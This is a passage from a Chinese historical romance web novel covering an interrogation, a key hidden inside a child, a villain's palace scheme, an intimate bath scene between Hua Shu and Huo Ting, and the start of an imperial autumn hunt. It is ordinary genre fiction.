一阵冷风吹过,风卷残叶掠过她单薄的裙裾,带起她指尖一缕凉意,像谁曾在此处驻足又抽离的余温。 霍霆收回目光,款步走远。 华姝无言跟上,一路进了书房,眼见他略过萧成搬来的宽敞太师椅,坐到狭窄的屏风后面。 她默了默,也绕进屏风后面。 墙角闭塞,空气无声涌动着压抑。 华姝侧脸去瞧,男人状似神色如常,下颌线却没了先前的松弛弧度。 她动了动指尖,犹豫着要不要再递过去时,侍卫押送司空震进门。 萧成坐到主位,也给他看了座。 司空震坦然坐下,举止从容地端起茶盏浅品,脱下囚服的他,又恢复从前朝堂三品重臣的做派。 萧成与他闲聊,他倒也接话。 但凡涉及幕后之人,便会闭口不谈。 一盏茶聊完,萧成的火气被拱起来。 他腾得起身,居高临下指着司空震,怒声厉色:“好吃好喝的礼待你,还真蹬鼻子上脸啦?非要屠尽你满门,才好受是吧?” 司空震放下茶盏,抬头冷笑:“这么说,我还要感谢镇南王了?” “若非他派人入狱挑拨,我司空府又怎会遭到屠杀?” “还有前天夜里,你们分明能救出所有人,却始终冷眼旁观。” “这手借刀杀人,与那人有何区别?!”他也越说越气,提声痛斥。 “呵!”萧成嗤道:“你也知道灭门的滋味不好受啊?当初对华家动手不是挺兴奋的吗?” 司空震:“不是我!圆妙放的火。” 萧成:“追杀我们兄弟数千里的,你敢说也不是你?!” “……我不过受人指使。”司空震别开眼。 萧成:“受何人指使?” 司空震再度沉默以对。 萧成气得一把揪起他衣领,抡起拳头,“我最后问你一遍,到底受何人指使——” 司空震仍是沉默不语。 “行啊,你有种!也想借刀杀人,看我们双方为了你手上那点破证据,互相厮咬是吧?” 萧成猛地将他扔回座椅上,咬牙切齿:“偏不如你意!我今晚就把司空煦扔到户部大门口,咱就看他活不活得过明早?” 司空震蓦地转过头,瞳孔微缩。 又突然意识到什么,慌忙别开脸。 屏风的缝隙后面,华姝双手不由攥紧椅子扶手,欣喜地扭头看向霍霆。 诈出来了! 看来真凶是藏在户部。 甚至很可能是户部尚书或户部侍郎的其中一人。 霍霆也欣然颔首。 似是转念想起了两人此前的小嫌隙,又漠然收回目光。 华姝悻悻转回头,继续乖觉听下去。 但心中仍跳得厉害。 不得不说,萧成这一招实在是高。 本以为他突然发怒,是心态先乱了。 哪知他在以退为进,让司空震先放松警惕,又气愤激动起来。 然后出其不意,道出“户部”所在。 毕竟刑部主管此案,司空煦一露头定会被关押回去。但户部不一样,如果还有人想置他于死地,必然是幕后真凶。 司空震自然也不是吃素的,反应过来后,他漠然开口:“你想仍就扔罢,既已落在你们手中,本也没指望能活着出去。” “是吗?”萧成泰然自若地坐回去,“既是想寻死,又何必让你那庶子男扮女装呢?” 司空震脸色微变,不答反问:“那个女人,就是华家的那小孽种吧?华家的医术果然名不虚传,可惜啊,男人全死绝了。图留个没用的孤女,哈哈哈哈……” 他哄堂大笑起来,脖颈青筋暴起,如狰狞扭曲的藤蔓。 看得华姝眼底的怒意翻涌。但她深知审讯未完,双手攥得一紧再紧,指节因过度用力而泛出青白。 忽然,一只大掌包裹住她纤弱拳头。熟悉的温热,抚平她沉痛揪心的躁与愤。 华姝看向身侧。 霍霆已率先起身,牵着她往外走。越过屏风刹那,他脚步微顿,无声松开了她手。 华姝跟在后面,指尖变得沉甸甸的。 但撞上司空震目光的刹那,她肩负起华家满门,挺直了脊背。 她随霍霆停在两步开外,冷眼睨着司空震,掷地有声:“我再是没用,你不还是落我手里了?” 司空震被噎住一瞬,转而沉脸:“好个深情遗孀啊。若非老夫阅人无数,还真就差点被你骗了去。” “是那晚探监,有人告诉你的吧。” “香囊也是那时候拿到的。” 华姝用的肯定句。 “就凭你也想再来诈我?”司空震嘲弄一声,又切齿道:“我当初就说不该留你,他非要留。现在好了吧,自!食!恶!果!” “他是谁??”华姝下意识上前追问 霍霆及时按住她,免得沦为司空震的人质。 华姝慢一拍反应过来,几滴冷汗顺着脊梁滑落,“你好生卑鄙!” 司空震笑:“彼此彼此。” “你错了,我们不一样。” 霍霆上前一步,挡在华姝前面,沉声开口:“稚子无辜,我不会像你一样斩草除根,但这孩子也断不会再留你身边。” “至于他身上藏的秘密,也自会尽数剥开。不是你三言两语就能扰乱视线的。” 说话间,霍霆又上前一步。还是那双温热大掌,扣住司空震的肩膀,猛地一攥,那肩胛骨“嘎吱”脆裂。 司空震疼得大叫:“竖子放肆!” 霍霆反手捏住他下颚,无声用力,“管好你这条舌头,以后再敢说华家一个字的不是,后果自负。” 司空震气得胸膛起伏不迭,但对上霍霆那双杀意森冷的黑眸后,对峙不足几息,便如霜打的茄子般萎坐了回去。 肩膀的撕裂,疼得他额头冷汗直冒,眼神仍是充斥着愤恨。 * 穿过密道,回到别院的一路上,霍霆周身的气压依旧冷沉,闷气似还未消除。 华姝感念他在外人面前维护她,有意示好去牵他衣袖,甫一凑近就被躲开了。 走出黑塔后,她不好再牵,就主动搭话:“适才司空震说,那人非要留下我,好像是个额外的线索?” 霍霆:“嗯。” 华姝又看向前方的萧成及那司空家幼子,“他刚才极力转移话题,看来这幼童身上确实有秘密,很可能跟那证据相关?” 霍霆:“嗯。” 等斟酌好措辞,再想说什么时,恰逢长缨有事来禀告,主仆两人边走边谈,脚步渐快。 华姝目光霍霆身影走下石桥,良久怔立在原地,任由瑟瑟凉风吹透衣裙。 桥下溪流中,红黄锦鲤如流动的绸缎般嬉戏,粼粼波光映在她蹙起的眉间,却搅得心头愈发烦躁。 前方不远处,萧成转身瞧过来,往回走了几步,“嫂子,您和老大吵架啦?” 华姝无言。 萧成兀自纳闷:“去时不还好好的吗?你侬我侬的。” 华姝更无言以对,索性转移话题:“刚刚司空震说,当年有人故意留下我。萧将军,你觉得我该如何揪查出此人?” 萧成双手抱臂,转睛思忖片刻,“他留下你,想必有所图吧?这些年有没有谁给你施压过,重大压迫算计什么的,让你印象特别深刻?” 华姝想了想,“没有。” 她寄养在霍府这些年,知道自己身份特别,平时都尽量听话低调。加上霍老夫人疼惜,是以她日子还算顺遂。 萧成不信:“一次都没有?” “……也算有过一次。” “哪一次?”萧成眼神一亮。 华姝:“在山上那次。” “还有皇龙寺那次。”她补充道。 “呃,这个……”刚刚还跟司空震满肚子算计的魁梧壮汉,这会只剩尴尬无措地挠头。 “那啥,您早点回房歇着吧。我去给他找个房间,再派两个人看着哈。”萧成徒手拎起那幼童,像拎起小鸡仔一般,脚底抹油开溜。 华姝落个耳根清净,独自往回走。 来得次数多了,园子里的路她都已熟识。脚上慢慢踱步,沿着溪流堤岸,绕过假山的青石砖路,脑中仍想着司空震那番话。 那个“它”到底会是谁呢? 又或是为吸引她靠近,故意诈的谎? 直到走回主屋,仍是满腹愁绪。 华姝环顾空荡荡的陌生屋子,不同于初次来的沉闷用色,如今已换作女儿家的浅色绢花装点,梳妆台、书架、刺绣架等物什也一应俱全,华美且不落凡俗。 可离家多日,她还是会想念月桂居,想念霍府。 按理说此事暂时告一段落,她也可以请辞了。可若是现下过去说,无异于火上浇油。 华姝不敢也不忍,从书架寻了一本医书,窝在软塌上,随手翻阅着。 中途有膳房的人来过,“午膳的菜色,还请姑娘示下。” 华姝:“按照王爷的喜好做吧。” “王爷说,让我等请姑娘拿主意。” 闻言,华姝眉宇舒展开,他这是消气了吧? 膳房的人走后不久,萧成来了。 规规矩矩站在门外,“嫂子,那小崽子说是吃不下饭?您有没有什么药方子,给他喝一壶的?” 华姝忍俊不禁,知道他是故意来逗趣,也不好将人晾在门外。她整理好仪容,微笑拉开门,“林军医不也住在园子吗?” 萧成眼睛叽里咕噜地转悠一圈,也咧嘴笑:“林晟去瞧了,说是那小崽子腹部积便严重。若开泻药,小剂量不管用,大剂量又唯恐他那小身板受不住。” “想来是牢中积郁所致,罢了,我随你过去瞧瞧吧。” 两人一路来到别院的西北角。 萧成原是将那幼童,安置在了林晟院子的厢房中,代为看守。老远望见萧成,林晟还在气得翻白眼。 华姝恍然,难怪萧成非要绕远来寻她,合着是林晟气得撂挑子不干了。 萧成还是咧嘴笑,露出两排大白牙,瞧着憨厚极了。 华姝叹了口气,走进厢房。 那幼童瑟缩在床角,哭得泣不成声,眼睛肿得比核桃还大。 她面对这个仇人家的孩子,怜惜不起来。但医者仁心,还是在萧成将人抓出来后,凝神为其扣脉。 须臾后,华姝收回手,“他腹部确实异物冗余。”她起身走到门外,差一个侍卫去膳房,“寻些蜂蜜来。” 林晟从药方探出头,“华姑娘是要用那蜜煎导法吧?” 华姝点头,“正是。” 她曾在《伤寒论》中看到过,将蜂蜜熬至饴糖状粘稠度,制成小指粗细、长约二寸的栓剂,趁温热涂油后塞入□□。 通过蜂蜜的甘润滋养作用,润滑肠道,并刺激□□反射促进肠蠕动。此法对小儿积便,起效迅速,且不会像泻药那般上身。 萧成听话,高兴又气愤。单手叉腰,另一手指着林晟,“嘿!你既然知道,刚刚怎么不说?” “我就不说,急死你!”林晟又白他一眼,回房继续鼓捣药草。 华姝哭笑不得,这俩人岁数加起来,都年过半百了吧? 如此一相较,还当属霍霆的性情最为沉稳。 很快,那侍卫按照华姝所言,将蜂蜜端回来煎好,趁热搓成细条。在那幼童百般挣扎下,强行塞进去。 效果显著。 净房传出来的熏天臭味,杀伤力也极强。 萧成和华姝一早躲远。 那侍卫也是捂着鼻子,艰难给幼童擦好屁股,要拎着人出来。 哪知那幼童死活不肯走。 一阵拉扯后,竟有意外发现! 侍卫将发现的那枚小物什,洗干净后,呈递上来。 华姝心有介怀,皱眉后退一步。 萧成只好垫上一块灰色帕子接过来,觑着那枚黄铜物件,约莫大拇指的指甲盖大小,“这是枚钥匙!” 他惊喜看向华姝,“莫非……” “很有可能,快些拿与王爷吧。” 华姝语气也透着惊喜。 “好嘞!”萧成兴奋地跑开两步,又托着帕子折返回来,意味深深一笑:“嫂子,我还得审讯那小崽子呢,这钥匙还是您拿过去吧?” “……” * 事关重大,华姝倒也没跟萧成计较,接过帕子来到书房。 长缨抱剑而立,正守在门口。 “王爷现下可有空?”华姝递上帕子,“这钥匙是从那孩子腹中发现的。” 长缨没接,脸色微变:“您将那孩子的肚子……给剖开了?” “……他自己剖开的。”华姝无奈。 长缨又瞅瞅那垫着的帕子,晒笑:“属下这就为您通禀。” 书房内,阳光透过窗棂在砚台旁投下疏影,混合着松烟墨的苦香,静谧而肃穆。 霍霆端坐在书案后,面前平铺着一张木兰围场的此次秋猎布防图。 瞧见华姝进门,他顺势起身,款步走到外间的圆桌处,给自己倒了盏清茶。 面色依旧疏淡,似乎只想与她就事论事。 华姝踌躇着站定在他对面,展开灰色帕子,双手呈放在绛色云纹桌布上。 在偌大空荡的圆桌衬托下,钥匙显得越发渺小。 霍霆却端详许久,缓缓饮尽一盏清茶,面上若有所思。 华姝不解,来的路上她就在想。 倘若钥匙这般小,那锁身定也大不了哪去。即便没这把钥匙,届时想撬开锁亦是轻而易举吧? 征得霍霆首肯后,她道出心头疑惑。 “应是机关锁。”霍霆又斟满茶杯,饮尽整盏清茶后,耐着性子解释:“若是外力强行破除,机关匣子里面的物件,就会被特制的浓液腐蚀殆尽。” 华姝思及此前种种,醍醐灌顶。 难怪在牢中,为数不多的正常饭食,司空震会拿与龙凤胎吃。 龙凤胎是掩饰,那女孩假扮成童子也是掩饰。 甚至那晚在荒宅,司空震将幼子抱在怀中状似悲恸,也都是掩饰。 “那匣子里的定是证据了吧?” 她按捺不住心中激动,上前一步问。 霍霆却是避开一步,浅浅颔首:“这次收获算是超出了预期。” 华姝怔立在原处。 书房安静下来。 两人四目相对,周遭涌动的气氛微妙 男人仍是面无表情。 圆桌中央的瑞兽簪金香炉中,白烟袅升散尽,露出他那双幽邃如深海的凤眸,甫一触碰,便能攫人心神、令人沉溺。 华姝潸然别开眸光,进退两难。 他这是在用行动告诉她,彻底划清界限后的样子吧。 明明符合心中所愿,却莫名不是滋味 她其实很清楚该怎么做能哄好他,像上次那般亲亲他,又或说几句浓情蜜意的软话。 可那样只会让他陷得越深。 等一切尘埃落定,她决绝离开后,他也会更痛苦。 心房蔓延开一股淅沥蚕噬的痛意,华姝暗叹,这股噬痛换作十倍、百倍该是何等的熬人? 她默了默,软声试探:“若王爷没别的吩咐,我就先退下了?” 霍霆定定凝她一瞬,喉结动了动,背身走到窗前,“随你。” 两扇窗扉被拉开到最大幅度,冷风倒灌,吹鼓他猎猎玄衣广袖。 阳光斜射入窗,映得他脸庞半明半暗,绷紧下颌更添冷硬, 华姝了然,这便是在说气话了。 她略作沉吟,又为他沾满茶盏。言语上不能明确表示什么,就在行动上软和一些吧。 意外的是,她抬手去端那白瓷青釉杯盏,葱白指尖触碰到一片冰凉。 指尖微颤,是凉茶。 仲秋寒天,他一连饮尽了两盏凉茶。 还不许她靠近。 又去吹冷风…… 华姝眸光流转,心中盘算了下时日,而后赧颜瞧去,声如轻颤的蝶翼:“王爷体内的余毒,可是又发作了?” 霍霆身影微滞。 他侧脸瞧过来,唇角扔抿得发紧。待瞧见华姝手上端的凉茶后,又默然背过身去。 几息后,秋风缓缓吹进一段闷声低语:“发不发作的重要吗?又无人在意。”《 》 45-50 第46章 白日共浴 秋风卷着枯叶拍打窗棂, 晌午阳光斜切进书房,将满架古籍照得发黄,尘埃凝滞在光柱里。 华姝盯着那屹立在风口的挺拔背影,十指无声握紧冰冷的茶盏。 她自然在乎他的。 他临危救命多次, 在她心中的分量, 不亚于相伴多年的祖母。 只是, 给不了他想要的那种爱重罢了。 这话不好说出口,能说出口的又非他所愿。华姝唇瓣张了张, 只觉言语苍白,还是为他做些力所能及之事吧。 当务之急是这次解毒。 她头一次在陌生的男子书房,主动寻看床榻之物。东间窗前是那张书案,西间窗前架着盔甲与玄铁佩剑。 且书房没有浴室。 两次穿行密道,身上难免沾了浮土。 华姝不好意思再往下想,声若游丝地启齿:“您再喝杯凉茶罢,然后……”去我房里。 这话更难以启齿。 “然后我先回房沐浴了。”说话间,她已放下茶盏,落荒逃到门口。 正欲开门时, 窗旁又传来那一道淡漠的冷硬:“不必勉强。” 贝齿轻咬下唇:“……我自愿的。” 娇软气音, 随着关门声一同落下。 书房重新安静下来。 烟缕绕香炉。 却在有人的心湖激起层层涟漪, 涟漪成网,搅起海风涛浪。 霍霆看向空荡门口, 又转头看回窗外 窗前闪过一道惊鸿飘摇的倩影, 杏色裙裾如风中垂柳轻颤, 莲步匆移间, 被青松掩映的小径吞没。 凝望良久,腹下新一轮躁热袭来,霍霆蓦然回神。 “长缨。”他道:“去备水……” 哑声戛然而止, 霍霆又吩咐长缨退下 那一句蚊声细语:“我自愿的。” 还在耳旁不断回响着。似阳光晒暖的蜜糖,勾黏住他对她千丝万缕的念头。 这般想着,霍霆径直去了主屋。 * “吱呀——” 容城推门走进东厂的兵器库:“主子。” 裴夙习惯性一袭绫罗红衣广袖,盘坐在窗前的矮榻上。 面前摆放着一块磨刀石,和那把山水白鹤的油纸伞。那日寻香搜人的姜黄猎犬,正挨着他脚边,温驯匍匐而窝。 裴夙双手执一枚两寸利刃,正磨得锃亮,“查到了?” 容城跪地请罪:“属下无能,昨夜强攻三次,却靠不近那别院一步。” “正常。” 裴夙漫不经心地磨着利刃,缓声道:“他那座别院,若能被你轻易攻进去,大昭的边防岂不早就被敌国攻破了?” 容城脸色凝重:“可万一司空震松了口?” 裴夙微顿,眯眼:“那就离他死期不远了。” 冷肃的阴凉杀意,爬上容城的脊背。 他慌忙附和:“想必司空震也心知肚明,什么该说什么不该说。幸亏主子先一步从圆妙那截获机关匣,纵使司空震将钥匙交与镇南王,他们亦是束手无策。” “天下没有不透风的墙,一个月前,司空震和圆妙还自诩藏得挺严实呢。”裴夙双手连带那枚利刃,一同浸入温热的水翁中,濯洗净从磨刀石上碾下的灰浊。 容城赶紧递上锦帕,“镇南王这一个月里,动作着实频繁。若不加以遏止,保不准就会……” “痴人说梦。” 裴夙接过帕子,不疾不徐地擦净利刃,晾至一旁玉蝶内,又擦干双手,“这燕京城容不下他的,岂止咱们一份。” 容城:“主子的意思是……圣上?” “容城,想做好一条忠犬,就要学会急主子之急。” 裴夙抬手揉了揉猎犬的头,锐硬扎手的触感,令他眉宇间不掩厌弃。“还是小姝儿的头最好摸,可惜啊,”他浅叹:“姑娘长大了,就不听话了。” 猝然一道“嘎吱”脆响。 猎犬的颈骨应声折断。头颅以诡异的角度歪向一侧,眼中还凝固着惊惧,瞳孔已扩散成浑浊的灰白。 容城眼皮突突直跳,“奴才愚钝,还请主子示下。” “也该是时候,让小姝到御前了。”裴夙狞笑:“她既有那么多扎人的心思,想必在后宫也能活得自在。” “若华姑娘入了后宫,镇南王必受牵制,于主子、于圣上皆能剔除一道心头之患。”容城反应片刻,眼前一亮:“主子英明!” “是他太蠢。” 裴夙重新濯洗一遍双手,嗤道:“有安生日子不过,非要闲得自讨苦吃,那……可就怪不得旁人了。” * 城郊主院,粉色秋海棠晒得暖融融。 浴室亦是暖意融融,木桶内白雾袅升 华姝将海棠花瓣撒入桶内,指尖刚搅匀温热的水面,院门忽然自外面推开。 沉稳的脚步声由远及近,最终停在堂屋门外。 她心尖一跳,忙放下花瓣竹篮,绕过屏风走出去,将堂屋的门拉开一条缝隙,“……王爷?” 霍霆惯以军纪整顿下人,除了他没人敢在她这直接推门而入。 但她诧异他来得太快了。 “膳房刚出炉的白玉红豆糕,趁热吃味道好些。”霍霆递上手中的食盒,甜腻的香气从食盒缝隙里钻出来,挠得人鼻尖发痒。 华姝迟疑几息,侧身打开门。 霍霆顺势进门,将食盒放到堂屋的方几上,一抬眼便注意到西南角的浴室溢出的茫茫水雾。 华姝顺着他目光看去,脸颊瞬间烧红了,软声也似浸满水意:“我还未洗好,您且略坐坐吧?” “我也未曾盥洗,书房没有浴室。”男人言简意赅地解释完,便理由充分地抬脚往浴室走去。 其实开门时,华姝就注意到霍霆外裳未换。原以为他只是想借浴室,可再瞧瞧他帮她拎上食盒的贴心之举…… 她默然抿了抿唇,试着小声抗议:“满园子那么多间浴室,就独这一间称您心意?” 霍霆停在浴室门内,侧回身来,正色而专注看向她眼睛,“嗯,你的最称心意。” 华姝眸光似被烫了下,挪开眼,转身走到衣橱前,慢吞吞地挑选要替穿的亵衣。 待听得浴室传来阵阵水声,又归于平静,她红着耳根靠近几步,“忽然想到此处没王爷换穿的衣物,我这就去替您取了来。” 霍霆身形浸入热水中,不免勾起体内的蠢蠢燥动,嗓音暗哑几分:“此等小事吩咐下人一声便是。” “王爷金尊玉贵,与您有关的都不算小事,我还是亲力亲为放心些。”华姝言简意赅地解释完,也理由充分地抬脚往门外走。 霍霆健硕双臂搭在桶沿上,抬起右手拢了拢眉心,低低失笑了声。 传进华姝耳中,却是意味不明的。 她没作多想,出了堂屋,又打开院门。 四目相对。 长缨放下正要敲门的手臂,双手递上托盘与男子衣物,“王爷吩咐属下送来的,劳烦表姑娘转交。” 华姝握着门栓的手指紧了紧,又松开,无奈地接过托盘,“有劳。” 复而折返屋内。 前后用了连半盏茶都不到的功夫。 浴室内,霍霆听着外头小蜗牛似的动静,没再逗弄她,转而提及一件正事:“晚点你去挑个女暗卫,过几日秋猎一并带着。” 华姝闻言,心绪凝重地走进浴室,隔着一进门的墨色山水云锦屏风问:“王爷是觉得,对方会趁此次秋猎有所行动?” 霍霆:“人和钥匙皆已落入我们手中,对方自然也想握些把柄在手。” 华姝将托盘安置在矮柜上,点点头,“倒也合乎常情。如此,我不若就称病留在府上吧?” “你在府中,我反倒不便照应。”霍霆转了话锋:“也说不准他们会另有打算。总归秋猎人多事杂,有个暗卫能随护你左右更稳妥些。” 说话间,他粗壮余疤的手臂越过屏风,递出来一块精致小巧的白玉红豆糕。 笨拙的用意,牵带出一缕喜人画风。 华姝无声勾唇,走近接过来,“多谢王爷。” 拇指与食指捏住了糕点,小指反被人松松缠住。 她心跳不由漏了一拍,这人…… “这次比之前还要强烈些。”随着她气息的靠近与肌肤相亲,男人揭开刻意的压抑。 粗重的喘息声,混着满室的蕴热水雾,蒸得姑娘家一瞬就面红耳赤。 失神的刹那,皓腕忽地被一只滚烫的大手攥住。 只觉他甫一用力,她整个人就被轻巧地抛至半空,很快另一只大掌稳稳托住她腰肢,顺势带入木桶内。 等再回神时,整个身子已没入水中,杏色衣裙湿漉漉的,还沾着几片粉色海棠花瓣。 “您!”华姝又气又羞,伸手想推开他。反被他牢牢摁住腰,“就抱一会。” “可以吗?”霍霆俯身吻了吻她泛红的脸颊,低哑询问。 动作有多霸道,语气就有多温柔。 让华姝的抗拒渐显无力。 可浴桶本就不大,两人挤在一起,几乎没有多余的空间。 她右胯抵着他左腰,左膝曲叠在他右侧大腿上,姿势亲密而危险,令人一动不敢动。最后只敢轻轻依偎在他右肩,腱子肉硬邦邦地膈脸。 夹在中间的手臂,更是能清晰地感受到男人高涨的体温和强有力的心跳,让她呼吸愈加局促。虽说此前多有亲密,但这白日共浴,着实让她手足无措。 相较而言,霍霆反倒松弛了些。此前那股炙烤的躁劲怎么都压不下去,此刻有娇软佳人在怀,带着淡淡的花香和水汽,顿觉如沐春风。 他下巴习惯性抵在她的发顶,惬意阖上双眼,双臂又拥紧几分。 浴桶里的花瓣微微晃动,窗外有光映入,涟漪漾起暖暖的水光。 华姝静静瞧着,自我安抚着。 有些事虽是始料未及,但已是箭在弦上。既知避不掉,不如早些结束。 须臾后,霍霆察觉到怀中纤躯缓缓放松下来。他睁开眼,伸手从矮凳上白瓷盘内捻起一块白玉红豆糕,递到华姝唇边,“还是热的。” 糕块上撒着细密的糖粉,还带着淡淡的红豆香气。 华姝抬手去接,他后移不给。 她只好撑住桶沿,就着他手咬了一小口。酥皮入口即化,甜而不腻,带着浓郁的红豆味,正是她喜欢的味道。 见她吃得开心,霍霆眼底浮出笑意,伸开长手又拾来几块,一一送入檀口。 她吃相秀气温吞,他喂得不疾不徐。 糕点松干,食盒内配有清茶。 霍霆端过那白瓷杯,喂给她小半盏。 等再换作糕点时,华姝轻摇头,“吃不下了。” 霍霆不喜甜食,将那块糕点原封不动地放回盘中。指腹沾的糖霜碾净在一旁素帕上,而后来勾华姝下巴。 本意是想揩去她唇角的碎糕屑,当指腹抚上那娇润的朱唇时,忽而也想浅尝几丝那清甜的滋味。 于是,华姝眼见霍霆琥珀瞳仁中小小的自己,粉靥含羞,在他眼中慢慢放大,再放大。 大到某种程度时,她眼前一黑,唇瓣忽地被吮住,不甚温柔地啃噬,辗转撬了开…… 她紧张闭上眼,双手习惯性想抓他衣襟。 可指尖触碰到的,是一片滚烫的结实胸膛,让她心跳得愈发急促,只好改为双手扶住木桶。 霍霆察觉到她身子在抖,大掌缓缓向上轻抚她脊背,动作温柔而细腻。 透着十分爱意,也透着十分克制。 在他带着悉心倍至的呵护下,她紧绷的神经渐渐放松。 可就在这时,那大掌突然滑到她的腰间,轻轻挑开那坠有璎珞的鹅黄丝绦的盘扣。 华姝呼吸一滞,下意识想躲开,却被男人牢牢按住。 炙热的呼吸喷洒在她颈间,浓烈而哄诱:“乖,免得着凉。” 然后,华姝就听见滴滴答答的坠地水声,一声又一声地浇落在她心房,最后浑身彻底被淋湿。 她心跳更快,张了张嘴想说什么,却被霍霆转身压在浴桶壁上。强横的噬吻,密密麻麻落在她唇上,辗转厮磨,经久不休。 华姝的大脑渐渐空白,只能被动地承受着他的欲吻,身子渐渐苏软、下坠。 霍霆捧住她后颈,灼唇滑至纤颈间,印下深浅不一红痕。另一只手捉住她的,探入那层漂浮的秋海棠,去寻那水中弯月、镜中花蕊。 速度越来越迅疾,动作越来越汹涌,惊得华姝指尖孱颤。分明伏跪于浴桶浅水,却宛若身陷一波波惊涛巨浪,几近沉溺。 院外的海棠花随风摇曳,阳光透过窗棂洒进浴桶里。 旁边横放的墨色山水云锦屏风上,映着两人交缠的身影,构成一幅动人的画卷。 不知过去多久,男人方才停下动作。 华姝倚靠在他的胸膛上,虚虚娇喘着,脸颊红得像熟透的樱桃。 片刻后,霍霆打横抱起她,迈出浴桶,拉开托盘的寝袍将人裹紧,一路辗转至馨香绵软的床第间。 经过他那番霸道折腾,华姝双手已累得抬不起半寸,任由他帮着穿戴好,又搅得长发半干。 一阵布料摩擦的窸窣声后,身侧床榻沉下,霍霆侧身和衣躺上来,重新将人拥入怀。 他轻拨开她额边的发丝,垂眸宠溺凝视她,轻喃:“姝儿。” 华姝雾眼迷蒙,“嗯?” “你也吻吻我吧。”他忽然说。 华姝怔住一瞬,眼眸恢复清明,余光扫过四周半密闭的旖旎罗帐,遂顺应着仰起脸,轻啄了下他唇角。 不曾想,男人又俯身凑压过来,深深眷着她眼,语声郑重:“不够。” 华姝挪开脸,“……我不习惯。” 霍霆捧回她脸,“一月期限,昨日就过了。” 华姝哑然,眼神比在浴室内更无措。 霍霆垂眸瞧了几息,视线下移,落在她蜷缩在怀中的双臂。 印象里自下山后,每次相拥,她从未再回抱过。 华姝鸦睫微动,将男人所有的寂落承接于瞳中。这般神色,原不该出现在一位威风凛凛战神的面上。 同时也后知后觉,他先前为何那般在意她中途抽回手。 房中的气氛一同寂落下来。 窗前崭新的梳妆台上,青瓷香炉吐烟成篆。 余剩不多的鹅梨帐中香,自镂空盖顶袅升、烬断,好似一段诉尽的婉转心事。 少顷,那青瓷香炉旁的弧圆铜镜中,映照出一段少女纤白的藕臂,缓缓环住了男人麦色宽厚的臂膀。 她先是蜻蜓点水地吻着,酝酿着。然后红耳阖眼,青涩衔住了他的唇瓣,浅探、交缠。 霍霆支起手臂,大掌稳稳托住姑娘的背脊。耐着性子接纳她时而勇敢、时而怯懦的进与退。 回应着,引导着,动作温柔而缠绵。 一吻毕,华姝不敢去触碰他餍足含笑的目光。 惶然拉开身后的锦被,将自己整个埋进去,尤其埋掩饰整张红晕晕的雪靥。 霍霆换条手臂,半支起头,侧瞧锦被下她那一团鼓起来的小怂包,“饿不饿?” 没人理他。 “适才经过膳房,听厨子说今日准备午膳的功夫长些,可以加一道宝塔肉和三套鸭,膳后点心是雪衣豆沙。” 还是没人理他。 霍霆默了默,又道:“一般而言,机关匣容量不会太大。能被浓液腐蚀的证物,多半是信件或账本这类纸稿。” “……晚些时候再说罢。” 华姝不得以应声,娇软嗓音好似一汪春水,又透着若有似无的嗔意。 霍霆不恼反笑,连人带被子重新揽入怀中,平躺下。 他望着浅色团花的床顶,思绪却顺着机关匣的话茬飘远,狭长凤眸转瞬恢复冷肃、幽邃。 此刻,床笫间的缠绵余温未散。 可华姝隔着被衾,枕在他心口,也莫名生出了一股山雨欲来的不安。 * 那日后,华姝回霍府歇了两三日,得空让白术打点好秋猎出行的箱笼。 只因她从别院又带回一个叫苓霄的冷面丫鬟,挤占了白术随行的名额,这丫头只管闷头收拾,不爱搭理人呢。 华姝理亏在先,有着她撒些小脾气。 转头问及半夏,关于师父送来户籍和路引那晚的经过。 半夏一一复述,华姝粗略听完,与往常情形类似,遂没有多作疑思。 毕竟她这位师父,一向神出鬼没的。 当然,此事要避开苓霄的耳目。 白术瞧着,顿觉这新来的丫鬟也没有多受宠嘛,兀自雨过天晴,又乐呵呵地围着自家姑娘转悠。 转眼十一月初,昭文帝坐九龙辇,浩浩荡荡地起驾木兰围场。 霍府随扈同行。华姝她们顶着镇南王家眷的名头,允许坐大鞍车。车里相当宽敞,木几吊炉皆是考究。拉车的是健壮双骑,甚为气派。 马车一路驶出皇城,驶入过郊野。 “从咱这,还能远远瞧见御驾的宝顶呢!”霍千羽掀开纱帘往外瞧时,晨光洒入车厢,映出华姝手中那本翻旧的医书。 华姝合上医书,也偏头望向窗外。 女眷随家主的马车同行。霍霆得圣上钦点,坐驾规格仅次于圣驾,伞盖、寿扇、幢幡、金节……各有定数。而后才是东宫、各皇子、文武群臣的车马。 越过霍霆的马车,再往前是公主和宫妃的,皇后和太后的凤驾依次挨着九龙御辇。 而御辇的周围,则有着数不清的侍卫仪仗,规规矩矩的列作方阵。 稳坐方阵之首的,正是此次负责秋猎安防的霍霆本人。他正襟危坐于高头黑马之上,威风凛凛。 说起来,这还是华姝头一次瞧见他身穿盔甲,正是别院书房奉养的那套。 原本只瞧着铮冷肃穆,如今穿上身,又平添一道雄姿英发的巍峨气场。 在他率领下,方阵马蹄声整齐如鼓点,稳中有序。 偶有经过田间地头,庞大的车马必然会践踏庄稼。霍霆已提前命人备足碎银子,补偿给夹道跪迎的庄稼地老农。 华姝望着那佝偻谢恩的身影,想起祖母常说的,真正的盛世,便是连猎场边的野老都能沾上皇恩。 如此,难免拖慢进程。 眼见那位身着飞鱼服的裴督主,上前催促。难得他于颠簸的马背上,仍是画伞不离手,身姿端正从容。 霍霆同他简短交涉,便调转马头,让出为首领队的位置,大有“你行你来”的意思。 他驱马回到自己座驾跟前,正要纵身跃上车辕时,忽又掌心撑住马鞍、歪身望回来,将那探头的姑娘捉个正着。 高耸铁盔下,冷肃凤眸化出几股暖意 华姝目光微热,赧颜缩回纱窗内。 马车主位上,大夫人不像她们那样有闲情。因着老夫人年迈未同往,霍府女眷的言行举止,衣食住行,她都要周全地照顾到。 “霍府这是头一回随扈,到了营地可不兴再这般放纵。届时上有皇亲国戚打量,下有群臣家眷们比着,咱们定要格外留神。万不能出什么岔子,给你四叔脸上蒙羞。” 两人皆是应是。 木兰围场距离燕京城,有五六百里的路程。且人多得慢行,路上免不得要五六日的光景。 起初,众人好似飞出笼的鸟儿,瞧着什么都觉新鲜。但等两三日后,马车颠坐得骨头散了架,气氛逐渐萎蔫。 说到这,就不得不佩服霍千羽的精气神了,时不时还有兴致学着车外的农女,哼唱些乡间小调。 饶是一直勒令她们谨言慎行的大夫人,都倍觉受用,随着曲调轻轻晃头,阖眼聆听。 霍千羽与华姝见状,无声相识一笑。 这般走走停停,终于在第六日黄昏,抵达木兰围场的扎营地。 帝后及太后的帐篷自有人提前架设,等圣驾抵达时业已准备就绪。为首的明黄御帐巍巍伫立,用三人合抱粗的木材支撑起九角。帐顶上插大昭龙旗,迎风招展。 